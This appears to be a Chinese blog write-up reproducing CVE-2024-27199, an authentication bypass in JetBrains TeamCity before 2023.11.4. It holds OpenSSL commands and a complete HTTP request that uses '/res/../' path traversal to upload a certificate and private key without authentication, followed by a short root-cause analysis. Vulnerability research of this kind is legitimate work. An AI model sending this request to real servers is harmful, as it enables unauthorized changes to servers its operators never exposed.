• CVE-2024-27199 JetBrains TeamCity 身份验证绕过漏洞2


    漏洞简介

    TeamCity Web 服务器中发现了第二个身份验证绕过漏洞。这种身份验证旁路允许在没有身份验证的情况下访问有限数量的经过身份验证的端点。未经身份验证的攻击者可以利用此漏洞修改服务器上有限数量的系统设置,并泄露服务器上有限数量的敏感信息。

    项目官网下载地址Other Versions - TeamCity

    参考链接:

    影响版本

    < 2023.11.4

    漏洞复现

    1,服务信息泄露

    2.HTTPS 证书上传

    使用 OpenSSL 生成和处理 ECDSA 密钥对和证书

    openssl ecparam -name prime256v1 -genkey -noout -out private-eckey.pem
    openssl ec -in private-eckey.pem -pubout -out public-key.pem
    openssl req -new -x509 -key private-eckey.pem -out cert.pem -days 360
    openssl pkcs8 -topk8 -nocrypt -in private-eckey.pem -out hax.key

    运行上面的命令生成如下文件

    构造如下包,上传HTTPS 证书并设定8443端口

    1. POST /res/../app/https/settings/uploadCertificate HTTP/1.1
    2. Host: 192.168.116.128:8111
    3. Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4d5hF7eNFFbgJoAC
    4. Content-Length: 1576
    5. ------WebKitFormBoundary4d5hF7eNFFbgJoAC
    6. Content-Disposition: form-data; name="certificate"; filename="cert.pem"
    7. Content-Type: application/octet-stream
    8. -----BEGIN CERTIFICATE-----
    9. MIICYjCCAgegAwIBAgIUFHRabDe2dTOHNe8at5fDfsigDJwwCgYIKoZIzj0EAwIw
    10. gYUxCzAJBgNVBAYTAmNuMQswCQYDVQQIDAJobjENMAsGA1UEBwwEbmFtZTEQMA4G
    11. A1UECgwHY29tcGFueTESMBAGA1UECwwJdW5pdCBuYW1lMRQwEgYDVQQDDAtjb21t
    12. b24tbmFtZTEeMBwGCSqGSIb3DQEJARYPYWRtaW5AYWRtaW4uY29tMB4XDTI0MDMx
    13. MTA3NTQwN1oXDTI1MDMwNjA3NTQwN1owgYUxCzAJBgNVBAYTAmNuMQswCQYDVQQI
    14. DAJobjENMAsGA1UEBwwEbmFtZTEQMA4GA1UECgwHY29tcGFueTESMBAGA1UECwwJ
    15. dW5pdCBuYW1lMRQwEgYDVQQDDAtjb21tb24tbmFtZTEeMBwGCSqGSIb3DQEJARYP
    16. YWRtaW5AYWRtaW4uY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEMJ6RI0Xj
    17. dm72v2AjYl0SGBPAC/TqXHbdSyJSzqDmsH1Du/M8vlBkO1QYnNbcuiqnvEHnfea4
    18. WlDf5a1XnSQBB6NTMFEwHQYDVR0OBBYEFIP5qYGpT7CujDvYGCNtsCiycOmdMB8G
    19. A1UdIwQYMBaAFIP5qYGpT7CujDvYGCNtsCiycOmdMA8GA1UdEwEB/wQFMAMBAf8w
    20. CgYIKoZIzj0EAwIDSQAwRgIhAMcfVmbn711/5hOhnryKro9XH5m77DK/vmBvR0mk
    21. SIYVAiEApXhoDMQiv/0NVbZrOyW+c6oMSlg3CuKtAj6Sd5hxWR0=
    22. -----END CERTIFICATE-----
    23. ------WebKitFormBoundary4d5hF7eNFFbgJoAC
    24. Content-Disposition: form-data; name="key"; filename="hax.key"
    25. Content-Type: application/octet-stream
    26. -----BEGIN PRIVATE KEY-----
    27. MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgflqLec/N8uvpqGUK
    28. Z7sGvs81dBDffRUw+ufigYq016ChRANCAAQwnpEjReN2bva/YCNiXRIYE8AL9Opc
    29. dt1LIlLOoOawfUO78zy+UGQ7VBic1ty6Kqe8Qed95rhaUN/lrVedJAEH
    30. -----END PRIVATE KEY-----
    31. ------WebKitFormBoundary4d5hF7eNFFbgJoAC
    32. Content-Disposition: form-data; name="port"
    33. 8443
    34. ------WebKitFormBoundary4d5hF7eNFFbgJoAC--

    后台验证下证书是否上传

    或者直接访问https://192.168.116.128:8443/

    漏洞分析

    产生漏洞的原因是该系统采用了spring框架,该框架在处理url时遇到url中的../会自行解析再次拼接,这可能会产生某些某些判断机制绕过的现象。其中/res/下的路径不需要认证就可以被服务器去请求,有如下定义

    /app/https/settings/**有如下定义

  • 相关阅读:
    计算机毕业设计Java网上鲜花店网站(源码+系统+mysql数据库+Lw文档)
    o2优化是什么
    导数差分近似公式总结
    双臂二指魔方机器人的制作(三)--还原控制
    手写数组方法之用于遍历的方法
    【打卡】【sysfs相关API详解】21天学习挑战赛—RK3399平台开发入门到精通-Day19
    如何通过cURL库实现远程控制插座
    Maven
    自制操作系统日志——第二十八天(实现中文字符显示)
    【最长递增系列】动态规划法和贪心法
  • 原文地址:https://blog.csdn.net/shelter1234567/article/details/136628215